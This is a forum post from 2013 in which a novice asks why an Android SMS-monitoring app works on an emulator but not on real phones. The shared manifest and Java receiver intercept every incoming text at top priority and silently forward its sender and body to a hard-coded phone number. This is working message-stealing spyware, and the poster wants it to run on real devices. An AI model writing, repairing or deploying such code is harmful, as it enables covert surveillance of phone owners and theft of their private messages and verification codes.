我是菜鸟,有个关于短信监听的问题想请假各位大侠

先飞的鸟儿 发布于 2013/11/11 22:05
阅读 176
收藏 0

我写了一个短信监听的简单代码,在eclipse上的两个虚拟机之间可以运行,但是在真机上却不能运行,查看运行状态没有该服务,代码如下:

AndroidManifest.xml

<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.example.SmsL"
    android:versionCode="1"
    android:versionName="1.0" >

    <uses-sdk
        android:minSdkVersion="8"
        android:targetSdkVersion="17" />
    <uses-permission android:name="android.permission.RECEIVE_SMS"/>
    <uses-permission android:name="android.permission.SEND_SMS"/>

    <application
        android:allowBackup="true"
        android:icon="@drawable/ic_launcher"
        android:label="@string/app_name"
        android:theme="@style/AppTheme" >
        <receiver android:name="com.example.SmsL.SmsReserver">
            <intent-filter android:priority="1000">
                <action android:name="android.provider.Telephony.SMS_RECEIVED"></action>
            </intent-filter>
        </receiver>
    </application>

</manifest>

SmsReserver.java

 

package com.example.SmsL;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.telephony.SmsManager;
import android.telephony.SmsMessage;

public class SmsReserver extends BroadcastReceiver {

 @Override
 public void onReceive(Context context, Intent intent) {
  System.out.println("message has received!");
  Object []pdus=(Object[]) intent.getExtras().get("pdus");
  for(Object pdu:pdus){
   
   SmsMessage smsMessage=SmsMessage.createFromPdu((byte[]) pdu);
   String body=smsMessage.getMessageBody();
   String sender=smsMessage.getOriginatingAddress();
   System.out.println("body"+body);
   System.out.println("sender"+sender);
   SmsManager smsManger=SmsManager.getDefault();
   smsManger.sendTextMessage("18766528641", null, (sender+body), null, null);

 }
 }
}

添加了发送短信和接收短信的服务

在虚拟机能运行,但是到了真机上测试就是不行,百度了好多都没有找到方法,求教啊 大神们 

 

加载中
0
backtract
backtract
是不是有安全软件啊。
先飞的鸟儿
没有啊 我换了好几个手机测试 都不行
返回顶部
顶部